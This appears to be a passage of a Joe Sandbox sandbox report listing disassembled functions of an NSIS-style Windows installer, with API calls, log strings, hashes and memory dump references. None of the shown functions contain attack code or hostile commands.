Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00011E00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
open, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

